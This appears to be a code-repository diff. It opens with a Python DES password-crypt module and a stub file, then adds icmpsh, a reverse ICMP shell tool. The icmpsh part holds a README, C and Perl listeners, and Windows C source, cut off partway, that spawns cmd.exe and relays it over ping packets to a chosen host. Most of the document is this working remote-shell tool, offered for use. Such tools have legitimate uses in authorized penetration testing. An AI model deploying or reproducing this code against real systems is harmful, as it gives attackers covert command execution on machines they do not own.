0x00002802, 0x04002802, 0x00042802, 0x04042802,
|
||||
0x00000820, 0x04000820, 0x00040820, 0x04040820,
|
||||
0x00000822, 0x04000822, 0x00040822, 0x04040822,
|
||||
0x00002820, 0x04002820, 0x00042820, 0x04042820,
|
||||
0x00002822, 0x04002822, 0x00042822, 0x04042822 ] )
|
||||
|
||||
_shifts2 = (0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0)
|
||||
|
||||
_con_salt = [
|
||||
0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,
|
||||
0xDA,0xDB,0xDC,0xDD,0xDE,0xDF,0xE0,0xE1,
|
||||
0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,
|
||||
0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,
|
||||
0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,
|
||||
0xFA,0xFB,0xFC,0xFD,0xFE,0xFF,0x00,0x01,
|
||||
0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,
|
||||
0x0A,0x0B,0x05,0x06,0x07,0x08,0x09,0x0A,
|
||||
0x0B,0x0C,0x0D,0x0E,0x0F,0x10,0x11,0x12,
|
||||
0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1A,
|
||||
0x1B,0x1C,0x1D,0x1E,0x1F,0x20,0x21,0x22,
|
||||
0x23,0x24,0x25,0x20,0x21,0x22,0x23,0x24,
|
||||
0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C,
|
||||
0x2D,0x2E,0x2F,0x30,0x31,0x32,0x33,0x34,
|
||||
0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,
|
||||
0x3D,0x3E,0x3F,0x40,0x41,0x42,0x43,0x44 ]
|
||||
|
||||
_cov_2char = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
|
||||
|
||||
|
||||
def _HPERM_OP(a):
|
||||
"""Clever bit manipulation."""
|
||||
t = ((a << 18) ^ a) & 0xcccc0000
|
||||
return a ^ t ^ ((t >> 18) & 0x3fff)
|
||||
|
||||
def _PERM_OP(a,b,n,m):
|
||||
"""Cleverer bit manipulation."""
|
||||
t = ((a >> n) ^ b) & m
|
||||
b = b ^ t
|
||||
a = a ^ (t << n)
|
||||
return a,b
|
||||
|
||||
|
||||
def _set_key(password):
|
||||
"""Generate DES key schedule from ASCII password."""
|
||||
|
||||
c,d = struct.unpack('<ii', password)
|
||||
c = (c & 0x7f7f7f7f) << 1
|
||||
d = (d & 0x7f7f7f7f) << 1
|
||||
|
||||
d,c = _PERM_OP(d,c,4,0x0f0f0f0f)
|
||||
c = _HPERM_OP(c)
|
||||
d = _HPERM_OP(d)
|
||||
d,c = _PERM_OP(d,c,1,0x55555555)
|
||||
c,d = _PERM_OP(c,d,8,0x00ff00ff)
|
||||
d,c = _PERM_OP(d,c,1,0x55555555)
|
||||
|
||||
# Any sign-extended bits are masked off.
|
||||
d = (((d & 0x000000ff) << 16) | (d & 0x0000ff00) |
|
||||
((d & 0x00ff0000) >> 16) | ((c >> 4) & 0x0f000000))
|
||||
c = c & 0x0fffffff
|
||||
|
||||
# Copy globals into local variables for loop.
|
||||
shifts2 = _shifts2
|
||||
skbc0, skbc1, skbc2, skbc3, skbd0, skbd1, skbd2, skbd3 = _skb
|
||||
|
||||
k = [0] * (_ITERATIONS * 2)
|
||||
|
||||
for i in range(_ITERATIONS):
|
||||
# Only operates on top 28 bits.
|
||||
if shifts2[i]:
|
||||
c = (c >> 2) | (c << 26)
|
||||
d = (d >> 2) | (d << 26)
|
||||
else:
|
||||
c = (c >> 1) | (c << 27)
|
||||
d = (d >> 1) | (d << 27)
|
||||
c = c & 0x0fffffff
|
||||
d = d & 0x0fffffff
|
||||
|
||||
s = ( skbc0[ c & 0x3f ] |
|
||||
skbc1[((c>> 6) & 0x03) | ((c>> 7) & 0x3c)] |
|
||||
skbc2[((c>>13) & 0x0f) | ((c>>14) & 0x30)] |
|
||||
skbc3[((c>>20) & 0x01) |
|
||||
((c>>21) & 0x06) | ((c>>22) & 0x38)] )
|
||||
|
||||
t = ( skbd0[ d & 0x3f ] |
|
||||
skbd1[((d>> 7) & 0x03) | ((d>> 8) & 0x3c)] |
|
||||
skbd2[((d>>15) & 0x3f) ] |
|
||||
skbd3[((d>>21) & 0x0f) | ((d>>22) & 0x30)] )
|
||||
|
||||
k[2*i] = ((t << 16) | (s & 0x0000ffff)) & 0xffffffff
|
||||
s = (s >> 16) | (t & 0xffff0000)
|
||||
|
||||
# Top bit of s may be 1.
|
||||
s = (s << 4) | ((s >> 28) & 0x0f)
|
||||
k[2*i + 1] = s & 0xffffffff
|
||||
|
||||
return k
|
||||
|
||||
|
||||
def _body(ks, E0, E1):
|
||||
"""Use the key schedule ks and salt E0, E1 to create the password hash."""
|
||||
|
||||
# Copy global variable into locals for loop.
|
||||
SP0, SP1, SP2, SP3, SP4, SP5, SP6, SP7 = _SPtrans
|
||||
|
||||
inner = range(0, _ITERATIONS*2, 2)
|
||||
l = r = 0
|
||||
for j in range(25):
|
||||
l,r = r,l
|
||||
for i in inner:
|
||||
t = r ^ ((r >> 16) & 0xffff)
|
||||
u = t & E0
|
||||
t = t & E1
|
||||
u = u ^ (u << 16) ^ r ^ ks[i]
|
||||
t = t ^ (t << 16) ^ r ^ ks[i+1]
|
||||
t = ((t >> 4) & 0x0fffffff) | (t << 28)
|
||||
|
||||
l,r = r,(SP1[(t ) & 0x3f] ^ SP3[(t>> 8) & 0x3f] ^
|
||||
SP5[(t>>16) & 0x3f] ^ SP7[(t>>24) & 0x3f] ^
|
||||
SP0[(u ) & 0x3f] ^ SP2[(u>> 8) & 0x3f] ^
|
||||
SP4[(u>>16) & 0x3f] ^ SP6[(u>>24) & 0x3f] ^ l)
|
||||
|
||||
l = ((l >> 1) & 0x7fffffff) | ((l & 0x1) << 31)
|
||||
r = ((r >> 1) & 0x7fffffff) | ((r & 0x1) << 31)
|
||||
|
||||
r,l = _PERM_OP(r, l, 1, 0x55555555)
|
||||
l,r = _PERM_OP(l, r, 8, 0x00ff00ff)
|
||||
r,l = _PERM_OP(r, l, 2, 0x33333333)
|
||||
l,r = _PERM_OP(l, r, 16, 0x0000ffff)
|
||||
r,l = _PERM_OP(r, l, 4, 0x0f0f0f0f)
|
||||
|
||||
return l,r
|
||||
|
||||
|
||||
def crypt(password, salt):
|
||||
"""Generate an encrypted hash from the passed password. If the password
|
||||
is longer than eight characters, only the first eight will be used.
|
||||
|
||||
The first two characters of the salt are used to modify the encryption
|
||||
algorithm used to generate in the hash in one of 4096 different ways.
|
||||
The characters for the salt should be upper- and lower-case letters A
|
||||
to Z, digits 0 to 9, '.' and '/'.
|
||||
|
||||
The returned hash begins with the two characters of the salt, and
|
||||
should be passed as the salt to verify the password.
|
||||
|
||||
Example:
|
||||
|
||||
>>> from fcrypt import crypt
|
||||
>>> password = 'AlOtBsOl'
|
||||
>>> salt = 'cE'
|
||||
>>> hash = crypt(password, salt)
|
||||
>>> hash
|
||||
'cEpWz5IUCShqM'
|
||||
>>> crypt(password, hash) == hash
|
||||
1
|
||||
>>> crypt('IaLaIoK', hash) == hash
|
||||
0
|
||||
|
||||
In practice, you would read the password using something like the
|
||||
getpass module, and generate the salt randomly:
|
||||
|
||||
>>> import random, string
|
||||
>>> saltchars = string.letters + string.digits + './'
|
||||
>>> salt = random.choice(saltchars) + random.choice(saltchars)
|
||||
|
||||
Note that other ASCII characters are accepted in the salt, but the
|
||||
results may not be the same as other versions of crypt. In
|
||||
particular, '_', '$1' and '$2' do not select alternative hash
|
||||
algorithms such as the extended passwords, MD5 crypt and Blowfish
|
||||
crypt supported by the OpenBSD C library.
|
||||
"""
|
||||
|
||||
# Extract the salt.
|
||||
if len(salt) == 0:
|
||||
salt = 'AA'
|
||||
elif len(salt) == 1:
|
||||
salt = salt + 'A'
|
||||
Eswap0 = _con_salt[ord(salt[0]) & 0x7f]
|
||||
Eswap1 = _con_salt[ord(salt[1]) & 0x7f] << 4
|
||||
|
||||
# Generate the key and use it to apply the encryption.
|
||||
ks = _set_key((password + '\0\0\0\0\0\0\0\0')[:8])
|
||||
o1, o2 = _body(ks, Eswap0, Eswap1)
|
||||
|
||||
# Extract 24-bit subsets of result with bytes reversed.
|
||||
t1 = (o1 << 16 & 0xff0000) | (o1 & 0xff00) | (o1 >> 16 & 0xff)
|
||||
t2 = (o1 >> 8 & 0xff0000) | (o2 << 8 & 0xff00) | (o2 >> 8 & 0xff)
|
||||
t3 = (o2 & 0xff0000) | (o2 >> 16 & 0xff00)
|
||||
# Extract 6-bit subsets.
|
||||
r = [ t1 >> 18 & 0x3f, t1 >> 12 & 0x3f, t1 >> 6 & 0x3f, t1 & 0x3f,
|
||||
t2 >> 18 & 0x3f, t2 >> 12 & 0x3f, t2 >> 6 & 0x3f, t2 & 0x3f,
|
||||
t3 >> 18 & 0x3f, t3 >> 12 & 0x3f, t3 >> 6 & 0x3f ]
|
||||
# Convert to characters.
|
||||
for i in range(len(r)):
|
||||
r[i] = _cov_2char[r[i]]
|
||||
return salt[:2] + string.join(r, '')
|
||||
|
||||
def _test():
|
||||
"""Run doctest on fcrypt module."""
|
||||
import doctest, fcrypt
|
||||
return doctest.testmod(fcrypt)
|
||||
|
||||
if __name__ == '__main__':
|
||||
_test()
|
||||
Executable
+19
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2008-2009 Jose Fonseca
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
Executable
+2624
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,45 @@
|
||||
icmpsh - simple reverse ICMP shell
|
||||
|
||||
icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl.
|
||||
|
||||
|
||||
--- Running the Master ---
|
||||
|
||||
The master is straight forward to use. There are no extra libraries required for the C version.
|
||||
The Perl master however has the following dependencies:
|
||||
|
||||
* IO::Socket
|
||||
* NetPacket::IP
|
||||
* NetPacket::ICMP
|
||||
|
||||
|
||||
When running the master, don't forget to disable ICMP replies by the OS. For example:
|
||||
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive
|
||||
commands send from the master.
|
||||
|
||||
|
||||
--- Running the Slave ---
|
||||
|
||||
The slave comes with a few command line options as outlined below:
|
||||
|
||||
|
||||
-t host host ip address to send ping requests to. This option is mandatory!
|
||||
|
||||
-r send a single test icmp request containing the string "Test1234" and then quit.
|
||||
This is for testing the connection.
|
||||
|
||||
-d milliseconds delay between requests in milliseconds
|
||||
|
||||
-o milliseconds timeout of responses in milliseconds. If a response has not received in time,
|
||||
the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
|
||||
The counter is set back to 0 if a response was received.
|
||||
|
||||
-b num limit of blanks (unanswered icmp requests before quitting
|
||||
|
||||
-s bytes maximal data buffer size in bytes
|
||||
|
||||
|
||||
In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer.
|
||||
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
|
||||
# Perl by Nico Leidecker <[email protected]>)
|
||||
#
|
||||
# Copyright (c) 2010, Bernardo Damele A. G. <[email protected]>
|
||||
#
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,134 @@
|
||||
/*
|
||||
* icmpsh - simple icmp command shell
|
||||
* Copyright (c) 2010, Nico Leidecker <[email protected]>
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/ip_icmp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define IN_BUF_SIZE 1024
|
||||
#define OUT_BUF_SIZE 64
|
||||
|
||||
// calculate checksum
|
||||
unsigned short checksum(unsigned short *ptr, int nbytes)
|
||||
{
|
||||
unsigned long sum;
|
||||
unsigned short oddbyte, rs;
|
||||
|
||||
sum = 0;
|
||||
while(nbytes > 1) {
|
||||
sum += *ptr++;
|
||||
nbytes -= 2;
|
||||
}
|
||||
|
||||
if(nbytes == 1) {
|
||||
oddbyte = 0;
|
||||
*((unsigned char *) &oddbyte) = *(u_char *)ptr;
|
||||
sum += oddbyte;
|
||||
}
|
||||
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
rs = ~sum;
|
||||
return rs;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int sockfd;
|
||||
int flags;
|
||||
char in_buf[IN_BUF_SIZE];
|
||||
char out_buf[OUT_BUF_SIZE];
|
||||
unsigned int out_size;
|
||||
int nbytes;
|
||||
struct iphdr *ip;
|
||||
struct icmphdr *icmp;
|
||||
char *data;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
|
||||
printf("icmpsh - master\n");
|
||||
|
||||
// create raw ICMP socket
|
||||
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
|
||||
if (sockfd == -1) {
|
||||
perror("socket");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// set stdin to non-blocking
|
||||
flags = fcntl(0, F_GETFL, 0);
|
||||
flags |= O_NONBLOCK;
|
||||
fcntl(0, F_SETFL, flags);
|
||||
|
||||
printf("running...\n");
|
||||
while(1) {
|
||||
|
||||
// read data from socket
|
||||
memset(in_buf, 0x00, IN_BUF_SIZE);
|
||||
nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
|
||||
if (nbytes > 0) {
|
||||
// get ip and icmp header and data part
|
||||
ip = (struct iphdr *) in_buf;
|
||||
if (nbytes > sizeof(struct iphdr)) {
|
||||
nbytes -= sizeof(struct iphdr);
|
||||
icmp = (struct icmphdr *) (ip + 1);
|
||||
if (nbytes > sizeof(struct icmphdr)) {
|
||||
nbytes -= sizeof(struct icmphdr);
|
||||
data = (char *) (icmp + 1);
|
||||
data[nbytes] = '\0';
|
||||
printf("%s", data);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
// reuse headers
|
||||
icmp->type = 0;
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = ip->saddr;
|
||||
|
||||
// read data from stdin
|
||||
nbytes = read(0, out_buf, OUT_BUF_SIZE);
|
||||
if (nbytes > -1) {
|
||||
memcpy((char *) (icmp + 1), out_buf, nbytes);
|
||||
out_size = nbytes;
|
||||
} else {
|
||||
out_size = 0;
|
||||
}
|
||||
|
||||
icmp->checksum = 0x00;
|
||||
icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
|
||||
|
||||
// send reply
|
||||
nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
|
||||
if (nbytes == -1) {
|
||||
perror("sendto");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Executable
+62
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env perl
|
||||
#
|
||||
# icmpsh - simple icmp command shell
|
||||
# Copyright (c) 2010, Nico Leidecker <[email protected]>
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
|
||||
|
||||
use strict;
|
||||
use IO::Socket;
|
||||
use NetPacket::IP;
|
||||
use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);
|
||||
use Net::RawIP;
|
||||
use Fcntl;
|
||||
|
||||
print "icmpsh - master\n";
|
||||
|
||||
# create raw socket
|
||||
my $sock = IO::Socket::INET->new(
|
||||
Proto => "ICMP",
|
||||
Type => SOCK_RAW,
|
||||
Blocking => 1) or die "$!";
|
||||
|
||||
# set stdin to non-blocking
|
||||
fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";
|
||||
|
||||
print "running...\n";
|
||||
|
||||
my $input = '';
|
||||
while(1) {
|
||||
if ($sock->recv(my $buffer, 4096, 0)) {
|
||||
my $ip = NetPacket::IP->decode($buffer);
|
||||
my $icmp = NetPacket::ICMP->decode($ip->{data});
|
||||
if ($icmp->{type} == ICMP_ECHO) {
|
||||
# get identifier and sequencenumber
|
||||
my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});
|
||||
|
||||
# write data to stdout and read from stdin
|
||||
print $data;
|
||||
$input = <STDIN>;
|
||||
|
||||
# compile and send response
|
||||
$icmp->{type} = ICMP_ECHOREPLY;
|
||||
$icmp->{data} = pack("SSa*", $ident, $seq, $input);
|
||||
my $raw = $icmp->encode();
|
||||
my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));
|
||||
$sock->send($raw, 0, $addr) or die "$!\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,346 @@
|
||||
/*
|
||||
* icmpsh - simple icmp command shell
|
||||
* Copyright (c) 2010, Nico Leidecker <[email protected]>
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <iphlpapi.h>
|
||||
|
||||
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
|
||||
|
||||
#define STATUS_OK 0
|
||||
#define STATUS_SINGLE 1
|
||||
#define STATUS_PROCESS_NOT_CREATED 2
|
||||
|
||||
#define TRANSFER_SUCCESS 1
|
||||
#define TRANSFER_FAILURE 0
|
||||
|
||||
#define DEFAULT_TIMEOUT 3000
|
||||
#define DEFAULT_DELAY 200
|
||||
#define DEFAULT_MAX_BLANKS 10
|
||||
#define DEFAULT_MAX_DATA_SIZE 64
|
||||
|
||||
FARPROC icmp_create, icmp_send, to_ip;
|
||||
|
||||
int verbose = 0;
|
||||
|
||||
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
|
||||
{
|
||||
SECURITY_ATTRIBUTES sattr;
|
||||
STARTUPINFOA si;
|
||||
HANDLE in_read, out_write;
|
||||
|
||||
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
|
||||
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
// create communication pipes
|
||||
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
|
||||
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
sattr.bInheritHandle = TRUE;
|
||||
sattr.lpSecurityDescriptor = NULL;
|
||||
|
||||
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
// spawn process
|
||||
memset(&si, 0x00, sizeof(STARTUPINFO));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.hStdError = out_write;
|
||||
si.hStdOutput = out_write;
|
||||
si.hStdInput = in_read;
|
||||
si.dwFlags |= STARTF_USESTDHANDLES;
|
||||
|
||||
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
CloseHandle(out_write);
|
||||
CloseHandle(in_read);
|
||||
|
||||
return STATUS_OK;
|
||||
}
|
||||
|
||||
void usage(char *path)
|
||||
{
|
||||
printf("%s [options] -t target\n", path);
|
||||
printf("options:\n");
|
||||
printf(" -t host host ip address to send ping requests to\n");
|
||||
printf(" -r send a single test icmp request and then quit\n");
|
||||
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
|
||||
printf(" -o milliseconds timeout in milliseconds\n");
|
||||
printf(" -h this screen\n");
|
||||
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
|
||||
printf(" before quitting\n");
|
||||
printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
|
||||
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
|
||||
printf("increase the size (-s) of the data buffer\n");
|
||||
}
|
||||
|
||||
void create_icmp_channel(HANDLE *icmp_chan)
|
||||
{
|
||||
// create icmp file
|
||||
*icmp_chan = (HANDLE) icmp_create();
|
||||
}
|
||||
|
||||
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
|
||||
{
|
||||
int rs;
|
||||
char *temp_in_buf;
|
||||
int nbytes;
|
||||
|
||||
PICMP_ECHO_REPLY echo_reply;
|
||||
|
||||
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
|
||||
if (!temp_in_buf) {
|
||||
return TRANSFER_FAILURE;
|
||||
}
|
||||
|
||||
// send data to remote host
|
||||
rs = icmp_send(
|
||||
icmp_chan,
|
||||
target,
|
||||
out_buf,
|
||||
out_buf_size,
|
||||
NULL,
|
||||
temp_in_buf,
|
||||
max_in_data_size + ICMP_HEADERS_SIZE,
|
||||
timeout);
|
||||
|
||||
// check received data
|
||||
if (rs > 0) {
|
||||
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
|
||||
if (echo_reply->DataSize > max_in_data_size) {
|
||||
nbytes = max_in_data_size;
|
||||
} else {
|
||||
nbytes = echo_reply->DataSize;
|
||||
}
|
||||
memcpy(in_buf, echo_reply->Data, nbytes);
|
||||
*in_buf_size = nbytes;
|
||||
|
||||
free(temp_in_buf);
|
||||
return TRANSFER_SUCCESS;
|
||||
}
|
||||
|
||||
free(temp_in_buf);
|
||||
|
||||
return TRANSFER_FAILURE;
|
||||
}
|
||||
|
||||
int load_deps()
|
||||
{
|
||||
HMODULE lib;
|
||||
|
||||
lib = LoadLibraryA("ws2_32.dll");
|
||||
if (lib != NULL) {
|
||||
to_ip = GetProcAddress(lib, "inet_addr");
|
||||
if (!to_ip) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
lib = LoadLibraryA("iphlpapi.dll");
|
||||
if (lib != NULL) {
|
||||
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
|
||||
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
|
||||
if (icmp_create && icmp_send) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
lib = LoadLibraryA("ICMP.DLL");
|
||||
if (lib != NULL) {
|
||||
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
|
||||
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
|
||||
if (icmp_create && icmp_send) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
printf("failed to load functions (%u)", GetLastError());
|
||||
|
||||
return 0;
|
||||
}
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int opt;
|
||||
char *target;
|
||||
unsigned int delay, timeout;
|
||||
unsigned int ip_addr;
|
||||
HANDLE pipe_read, pipe_write;
|
||||
HANDLE icmp_chan;
|
||||
unsigned char *in_buf, *out_buf;
|
||||
unsigned int in_buf_size, out_buf_size;
|
||||
DWORD rs;
|
||||
int blanks, max_blanks;
|
||||
PROCESS_INFORMATION pi;
|
||||
int status;
|
||||
unsigned int max_data_size;
|
||||
struct hostent *he;
|
||||
|
||||
|
||||
// set defaults
|
||||
target = 0;
|
||||
timeout = DEFAULT_TIMEOUT;
|
||||
delay = DEFAULT_DELAY;
|
||||
max_blanks = DEFAULT_MAX_BLANKS;
|
||||
max_data_size = DEFAULT_MAX_DATA_SIZE;
|
||||
|
||||
status = STATUS_OK;
|
||||
if (!load_deps()) {
|
||||
printf("failed to load ICMP library\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// parse command line options
|
||||
for (opt = 1; opt < argc; opt++) {
|
||||
if (argv[opt][0] == '-') {
|
||||
switch(argv[opt][1]) {
|
||||
case 'h':
|
||||
usage(*argv);
|
||||
return 0;
|
||||
case 't':
|
||||
if (opt + 1 < argc) {
|
||||
target = argv[opt + 1];
|
||||
}
|
||||
break;
|
||||
case 'd':
|
||||
if (opt + 1 < argc) {
|
||||
delay = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 'o':
|
||||
if (opt + 1 < argc) {
|
||||
timeout = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 'r':
|
||||
status = STATUS_SINGLE;
|
||||
break;
|
||||
case 'b':
|
||||
if (opt + 1 < argc) {
|
||||
max_blanks = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 's':
|
||||
if (opt + 1 < argc) {
|
||||
max_data_size = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
printf("unrecognized option -%c\n", argv[1][0]);
|
||||
usage(*argv);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!target) {
|
||||
printf("you need to specify a host with -t. Try -h for more options\n");
|
||||
return -1;
|
||||
}
|
||||
ip_addr = to_ip(target);
|
||||
|
||||
// don't spawn a shell if we're only sending a single test request
|
||||
if (status != STATUS_SINGLE) {
|
||||
status = spawn_shell(&pi, &pipe_read, &pipe_write);
|
||||
}
|
||||
|
||||
// create icmp channel
|
||||
create_icmp_channel(&icmp_chan);
|
||||
if (icmp_chan == INVALID_HANDLE_VALUE) {
|
||||
printf("unable to create ICMP file: %u\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
// allocate transfer buffers
|
||||
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
|
||||
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
|
||||
if (!in_buf || !out_buf) {
|
||||
printf("failed to allocate memory for transfer buffers\n");
|
||||
return -1;
|
||||
}
|
||||
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
|
||||
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
|
||||
|
||||
// sending/receiving loop
|
||||
blanks = 0;
|
||||
do {
|
||||
|
||||
switch(status) {
|
||||
case STATUS_SINGLE:
|
||||
// reply with a static string
|
||||
out_buf_size = sprintf(out_buf, "Test1234\n");
|
||||
break;
|
||||
